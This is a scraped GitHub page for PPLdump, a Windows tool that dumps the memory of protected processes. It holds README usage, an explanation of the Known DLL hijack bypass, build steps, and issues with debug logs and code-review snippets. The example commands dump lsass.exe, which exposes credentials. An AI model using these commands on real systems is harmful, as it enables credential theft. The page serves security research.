Dump the memory of a PPL with a userland exploit

Overview

PPLdump

This tool implements a userland exploit that was initially discussed by James Forshaw (a.k.a. @tiraniddo) - in this blog post - for dumping the memory of any PPL as an administrator.

I wrote two blog posts about this tool. The first part is about Protected Processes concepts while the second one dicusses the bypass technique itself.

Usage

Simply run the executable without any argument and you will get a detailed help/usage.

c:\Temp>PPLdump64.exe
 _____ _____ __      _
|  _  |  _  |  |   _| |_ _ _____ ___
|   __|   __|  |__| . | | |     | . |  version 0.4
|__|  |__|  |_____|___|___|_|_|_|  _|  by @itm4n
                                |_|

Description:
  Dump the memory of a Protected Process Light (PPL) with a *userland* exploit

Usage:
  PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>

Arguments:
  PROC_NAME  The name of a Process to dump
  PROC_ID    The ID of a Process to dump
  DUMP_FILE  The path of the output dump file

Options:
  -v         (Verbose) Enable verbose mode
  -d         (Debug) Enable debug mode (implies verbose)
  -f         (Force) Bypass DefineDosDevice error check

Examples:
  PPLdump.exe lsass.exe lsass.dmp
  PPLdump.exe -v 720 out.dmp

FAQ

Does it work on all versions of Windows?

First of all, PPLs were introduced with Windows 8.1 so older versions of Windows are obviously not supported. This project mainly targets Windows 10 (and its server editions) but I also tested it on older versions. You will find a summary table of the tests I did in the eponymous section.

How is it different from other tools?

Other PPL bypass tools usually execute arbitrary code in the Kernel through a digitally signed driver. This one is different as it involves only userland tricks and is (almost) fileless.

"Userland", you say?!

This tool leverages a very clever trick that was initially discussed by James Forshaw in 2018 (see Credits). It involves the use of the DefineDosDevice API function to trick the system into creating an arbitrary Known DLL entry. Since PPLs do not check the digital signature of Known DLLs, this can be later used to perform a DLL hijacking attack and execute arbitrary code inside a PPL.

Is it really "fileless"?

Although this tool performs a DLL hijacking attack as a second stage, it does not create a new DLL file on disk. Instead, it makes use of an NTFS transaction to virtually replace the content of an existing one, a technique directly inspired by the work of @_ForrestOrr (see Credits).

Can this tool cause a DoS?

Ths short answer is "no". First, it does not involve any direct Kernel access so there is no risk of causing a BSOD from this standpoint. In the worst case scenario, the tool might fail to remove the created Known DLL entry but, this will not cause a Denial of Service. It will just stay there until the next machine reboot. As the created entry would just be a symbolic link pointing to a non-existent section, the system would eventually fall back to the default location (i.e. the System32 folder) so it will not impact other programs running on the machine.

Tests

Windows version Build Edition Arch Admin SYSTEM
Windows 10 20H2 19042 Pro x64 ✔️ ✔️
Windows 10 20H2 19042 Pro x86 ✔️ ✔️
Windows 10 1909 18363 Pro x64 ✔️ ✔️
Windows 10 1507 10240 Educational x64 ✔️ ✔️
Windows 10 1507 10240 Home x64 ✔️ ✔️
Windows 10 1507 10240 Pro x64 ✔️ ✔️
Windows Server 2019 17763 Standard x64 ✔️ ✔️
Windows Server 2019 17763 Essentials x64 ✔️ ✔️
Windows 8.1 9600 Pro x64 ⚠️ ⚠️
Windows Server 2012 R2 9600 Standard x64 ⚠️ ⚠️

⚠️ The exploit fails on fully updated Windows 8.1 / Server 2012 R2 machines. I have yet to figure out which patch caused the error.

[-] DefineDosDevice failed with error code 6 - The handle is invalid.

⚠️ On Windows 8.1 / Server 2012 R2, you might also have to compile the binary statically (see "Build instructions" below).

Build instructions

This Visual Studio Solution comprises two projects (the executable and a payload DLL) that need to be compiled in a specific order. Everything is pre-configured, so you just have to follow these simple instructions. The compiled payload DLL is automatically embedded into the final executable.

  1. Open the Solution with Visual Studio 2019.
  2. Select Release / x64 or Release / x86 depending on the architecture of the target machine.
  3. Build > Build Solution.

On Windows 8.1 / Server 2012 R2, you might have to compile the binary statically.

  1. Right-click on the PPLdump project.
  2. Go to Configuration Properties > C/C++ > Code Generation.
  3. Select Multi-threaded (/MT) as the Runtime Library option.
  4. Build the Solution.

Credits

Issues
  • No Extract produced

    No Extract produced

    Tested on Windows 10 2004 (OS Build 19041.264).

    Hi, when I try to run the code first time, there are no errors but it only runs as far as:

    "The Symbolic link was successfully created:: '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll' and no output is produced, but no further error?

    If I try to re-run I get: DefineDosDevice failed with error code 183 - Cannot create a file when that file already exists.

    This clears after a reboot, but is there a way to clear this error without rebooting?

    Can you advise on this?

    Thanks.

    pplDump_1 pplDump_2

    opened by ontinternet 4
  • Why won't TerminateProcess work?

    Why won't TerminateProcess work?

    Hi, thanks for your research and for writing this util! I played with the code, and was wondering whether if except for getting a memory dump it would be possible to kill a remote PPL protected process.

    I tried to add a simple TerminateProcess call (with the handle of the remote process) at dllexploit.cpp but received an "access denied" error. I was wondering if I am doing something conceptually wrong? I expected that a PPL process will be able to terminate another PPL process.

    question 
    opened by xorpd 2
  • License?

    License?

    Hey mate, awesome work! Is your code under any license (free like bsd, or otherwise)?

    I'd like to make use of your PPL-injecting code alongside another open source project of mine, but I wanted to make sure that apart from giving you and your dope work every kudos/acknowledgement I can, there's no sorta legal issue with it.

    opened by pathtofile 2
  • Add MIT license

    Add MIT license

    I'm going to release a project based on PPLDump next week, but my company's legal department won't let me do so without a clear license on PPLDump. I picked MIT because it seems in line with the spirit of your tweet.

    I'm happy to pick another license if you prefer.

    opened by gabriellandau 0
  • No Extract Produced

    No Extract Produced

    Successfully compiled the code and ran from an admin terminal with debug but didn't get the expected extraction of lsass.dmp. Everything appeared to be working fine up until the last couple of lines. Any thoughts are appreciated!

    PS C:\Users\xxxxx\git\PPLdump\x64\Release> .\PPLdump.exe -d -f lsass lsass.dmp [xxxxx] [*] Found a process with name 'lsass' and PID 1180 [DEBUG][xxxxx] Check requirements [DEBUG][xxxxx] Target process protection level: 4 - PsProtectedSignerLsa-Light [xxxxx] [*] Requirements OK [DEBUG][xxxxx] Get the name of the DLL to hijack [xxxxx] [*] DLL to hijack: EventAggregation.dll [xxxxx] [*] Current user is SYSTEM? -> FALSE [DEBUG][xxxxx] Found a potential Process candidate: PID=1152 - Image='LsaIso.exe' - User='NT AUTHORITY\SYSTEM' [DEBUG][xxxxx] This token is not restricted. [DEBUG][xxxxx] Found 2/2 required privileges in token. [DEBUG][xxxxx] Found a valid Token candidate. [SYSTEM] [*] Impersonating SYSTEM... [DEBUG][SYSTEM] Create object directory '\GLOBAL??\KnownDlls'... [SYSTEM] [*] Created Object Directory: '\GLOBAL??\KnownDlls' [DEBUG][SYSTEM] Create symbolic link '\GLOBAL??\KnownDlls\EventAggregation.dll'... [SYSTEM] [*] Created Symbolic link: '\GLOBAL??\KnownDlls\EventAggregation.dll' [DEBUG][xxxxx] Create symbolic link '??\GLOBALROOT -> \GLOBAL??'... [xxxxx] [*] Created symbolic link: '??\GLOBALROOT -> \GLOBAL??' [DEBUG][xxxxx] Call DefineDosDevice to create '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll' [-] DefineDosDevice failed with error code 183 - Cannot create a file when that file already exists. [xxxxx] [*] DefineDosDevice OK [DEBUG][xxxxx] Impersonate SYSTEM again [SYSTEM] [*] Impersonating SYSTEM... [DEBUG][SYSTEM] Check whether the symbolic link was really created in '\KnownDlls' [SYSTEM] [+] The symbolic link was successfully created: '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll' [DEBUG][SYSTEM] Map our DLL to section '\KernelObjects\EventAggregation.dll' [DEBUG][SYSTEM] Loaded payload DLL, image size: 128512 bytes [DEBUG][SYSTEM] Found file for transaction: C:\WINDOWS\system32\appverifUI.dll [DEBUG][SYSTEM] Opened file 'C:\WINDOWS\system32\appverifUI.dll' for transaction. [DEBUG][SYSTEM] Wrote 128512 bytes of embedded payload DLL to transacted file. [SYSTEM] [*] Mapped payload DLL to: '\KernelObjects\EventAggregation.dll' [DEBUG][SYSTEM] Enable privilege SeAssignPrimaryTokenPrivilege [DEBUG][SYSTEM] Create a primary token [DEBUG][SYSTEM] Create protected process with command line: C:\WINDOWS\system32\services.exe 1180 "lsass.dmp" b01c2517-790a-4bec-aa9b-cb576e7f712 -d [SYSTEM] [*] Started protected process, waiting... [DEBUG][SYSTEM] Unmap section '\KernelObjects\EventAggregation.dll'... [DEBUG][SYSTEM] Process exit code: 0 [-] The DLL was not loaded. :/ PS C:\Users\xxxxx\git\PPLdump\x64\Release> ls

    opened by g33k247 1
  • Windows Server 2012 R2 issues

    Windows Server 2012 R2 issues

    HI,

    Nice work as always!

    I think I might've found one of the potential issues on Windows Server 2012 R2, which causes the [-] DefineDosDevice failed with error code 6 - The handle is invalid. error.

    On this 2012 server \KnownDlls\SspiCli.dll already existed and changing the DLL_TO_HIJACK_WIN81 dll to EventAggregation.dll fixed the issue.

    Is there any specific reason why you are using SspiCli.dll on 2012 and EventAggregation.dll on Windows 10, as they both seem to get loaded by services.exe?

    opened by nurfed1 3
  • Free security descriptor to avoid leak

    Free security descriptor to avoid leak

    The security descriptor returned from GetSecurityInfo needs to be freed by the caller:

    https://docs.microsoft.com/en-us/windows/win32/api/aclapi/nf-aclapi-getsecurityinfo

    A pointer to a variable that receives a pointer to the security descriptor of the object. When you have finished using the pointer, free the returned buffer by calling the LocalFree function.

    opened by JohnLaTwC 0
  • Some code correctness and hygiene issues

    Some code correctness and hygiene issues

    Some code correctness issues in PPLDump

    These are hygiene issues. Some of these are low priority and edge cases.

    I initially spotted these in the port of the code here: https://github.com/EspressoCake/PPLDump_BOF/issues/1

    and decided to file the bugs upstream here too.

    Edge case leak if allocation fails

    BOOL TokenCompareSids(PSID pSidA, PSID pSidB)
    {
    	BOOL bReturnValue = FALSE;
    	LPWSTR pwszSidA = NULL;
    	LPWSTR pwszSidB = NULL;
    
    	if (ConvertSidToStringSid(pSidA, &pwszSidA) && ConvertSidToStringSid(pSidB, &pwszSidB))
    	{
    		bReturnValue = _wcsicmp(pwszSidA, pwszSidB) == 0;
    		LocalFree(pwszSidA);
    		LocalFree(pwszSidB);
    	}
    	else
    ! it's possible only one of the calls to ConvertSidToStringSid failed and this branch will leak the Sid for the success case
    		PrintLastError(L"ConvertSidToStringSid");
    
    	return bReturnValue;
    }
    

    See: https://github.com/itm4n/PPLdump/blob/fa48466247a116dc6f8a29497abb9223c9b4fd14/PPLdump/utils.cpp#L502

    There is another case here:

       if (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername))
    

    https://github.com/itm4n/PPLdump/blob/fa48466247a116dc6f8a29497abb9223c9b4fd14/PPLdump/exploit.cpp#L935

    Consider calling ADVAPI32!IsTokenRestricted instead of rolling your own function here:

    BOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted) {
    
    ...
    

    https://github.com/itm4n/PPLdump/blob/fa48466247a116dc6f8a29497abb9223c9b4fd14/PPLdump/utils.cpp#L632

    Fail to check if memory was successfully allocated for guid

    Check for failed allocation from MiscGenerateGuidString

        MiscGenerateGuidString(&pwszGuid);
    

    https://github.com/itm4n/PPLdump/blob/fa48466247a116dc6f8a29497abb9223c9b4fd14/PPLdump/exploit.cpp#L303

    Leak of hCurrentToken token in DumpProcess()

    	if (bCurrentUserIsSystem)
    	{
    		if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken))
    		{
    			PrintLastError(L"OpenProcessToken");
    			goto end;
    		}
    	}
    	else
    	{
    		if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, FALSE, &hCurrentToken))
    		{
    			PrintLastError(L"OpenThreadToken");
    			goto end;
    		}
    	}
    
    	PrintDebug(L"Enable privilege %ws\n", SE_ASSIGNPRIMARYTOKEN_NAME);
    
    	if (!TokenCheckPrivilege(hCurrentToken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE))
    		goto end;
    
    	PrintDebug(L"Create a primary token\n");
    
    	if (!DuplicateTokenEx(hCurrentToken, MAXIMUM_ALLOWED, NULL, SecurityAnonymous, TokenPrimary, &hNewProcessToken))
    	{
    		PrintLastError(L"DuplicateTokenEx");
    		goto end;
    	}
    ! No call to CloseHandle on hCurrentToken
    

    https://github.com/itm4n/PPLdump/blob/fa48466247a116dc6f8a29497abb9223c9b4fd14/PPLdump/exploit.cpp#L328

    Handle of hTransaction leaked in WritePayloadDllTransacted

    No call to CloseHandle for hTransaction

    	status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL);
    

    https://github.com/itm4n/PPLdump/blob/fa48466247a116dc6f8a29497abb9223c9b4fd14/PPLdump/exploit.cpp#L798

    FindFileForTransaction leaks memory for pSidTarget

    Need a call to LocalFree at function exit for pSidTarget

    	PSID pSidTarget = NULL;
    
    	ConvertStringSidToSid(L"S-1-5-18", &pSidTarget);
    
    

    https://github.com/itm4n/PPLdump/blob/fa48466247a116dc6f8a29497abb9223c9b4fd14/PPLdump/exploit.cpp#L754

    opened by JohnLaTwC 2
Owner
Clément Labro
Pentest & Windows security research
Clément Labro
Custom memory allocators in C++ to improve the performance of dynamic memory allocation

Table of Contents Introduction Build instructions What's wrong with Malloc? Custom allocators Linear Allocator Stack Allocator Pool Allocator Free lis

Mariano Trebino 1.2k May 9, 2022
MMCTX (Memory Management ConTeXualizer), is a tiny (< 300 lines), single header C99 library that allows for easier memory management by implementing contexts that remember allocations for you and provide freeall()-like functionality.

MMCTX (Memory Management ConTeXualizer), is a tiny (< 300 lines), single header C99 library that allows for easier memory management by implementing contexts that remember allocations for you and provide freeall()-like functionality.

A.P. Jo. 4 Oct 2, 2021
Memory-dumper - A tool for dumping files from processes memory

What is memory-dumper memory-dumper is a tool for dumping files from process's memory. The main purpose is to find patterns inside the process's memor

Alexander Nestorov 29 Feb 5, 2022
Mesh - A memory allocator that automatically reduces the memory footprint of C/C++ applications.

Mesh: Compacting Memory Management for C/C++ Mesh is a drop in replacement for malloc(3) that can transparently recover from memory fragmentation with

PLASMA @ UMass 1.4k May 7, 2022
STL compatible C++ memory allocator library using a new RawAllocator concept that is similar to an Allocator but easier to use and write.

memory The C++ STL allocator model has various flaws. For example, they are fixed to a certain type, because they are almost necessarily required to b

Jonathan Müller 1.1k May 9, 2022
Public domain cross platform lock free thread caching 16-byte aligned memory allocator implemented in C

rpmalloc - General Purpose Memory Allocator This library provides a public domain cross platform lock free thread caching 16-byte aligned memory alloc

Mattias Jansson 1.5k May 10, 2022
OpenXenium JTAG and Flash Memory programmer

OpenXenium JTAG and Flash Memory programmer * Read: "Home Brew" on ORIGINAL XBOX - a detailed article on why and how * The tools in this repo will all

Koos du Preez 25 Feb 14, 2022
manually map driver for a signed driver memory space

smap manually map driver for a signed driver memory space credits https://github.com/btbd/umap tested system Windows 10 Education 20H2 UEFI installati

ekknod 71 Apr 9, 2022
Memory instrumentation tool for android app&game developers.

Overview LoliProfiler is a C/C++ memory profiling tool for Android games and applications. LoliProfiler supports profiling debuggable applications out

Tencent 416 May 13, 2022
A single file drop-in memory leak tracking solution for C++ on Windows

MemLeakTracker A single file drop-in memory leak tracking solution for C++ on Windows This small piece of code allows for global memory leak tracking

null 22 Apr 23, 2022
Implementation of System V shared memory (a type of inter process communication) in xv6 operating system.

NOTE: we have stopped maintaining the x86 version of xv6, and switched our efforts to the RISC-V version (https://github.com/mit-pdos/xv6-riscv.git)

Viraj Jadhav 5 Feb 21, 2022
An In-memory Embedding of CPython

An In-memory Embedding of CPython This repository contains all the build artifacts necessary to build an embedding of CPython 3.8.2 that can be run en

null 100 Apr 26, 2022
Execute MachO binaries in memory using CGo

Execute Thin Mach-O Binaries in Memory This is a CGo implementation of the initial technique put forward by Stephanie Archibald in her blog, Running E

Dwight Hohnstein 55 Apr 15, 2022
Initialize the 8-bit computer memory with a program to be executed automatically on powering.

Initialize the 8-bit computer memory with a program to be executed automatically on powering. This project is small extension of Ben Eater's computer

Dmytro Striletskyi 62 Dec 13, 2021
Artifacts of that Memory Management Tsoding Session

Artifacts of those Memory Management Tsoding Sessions Quick Start $ make $ ./heap Limitations The pointers to the heap can only be located in the heap

Tsoding 50 Apr 28, 2022
PoC for CVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel.

CVE-2021-32537: Out-of-bounds access in RTKVHD64 leading to pool corruption. This is a bug that I reported to Realtek beginning of April 2021. The aff

Axel Souchet 55 Feb 14, 2022
A simple windows driver that can read and write to process memory from kernel mode

ReadWriteProcessMemoryDriver A simple windows driver that can read and write to process memory from kernel mode This was just a small project for me t

Hypervisor 6 Mar 30, 2022
Modern C++ 32bit Windows Process Memory Library.

basil Simple 32-bit Windows Process Memory Library. Written in Modern C++. JavaScript bindings basil (wilL) be available as bindings for JavaScript. C

cristei 3 Sep 23, 2021
Visual Studio Extension for C++ struct memory layout visualization

Visual Studio Extension for C++ struct memory layout visualization

Ramon Viladomat 340 Apr 24, 2022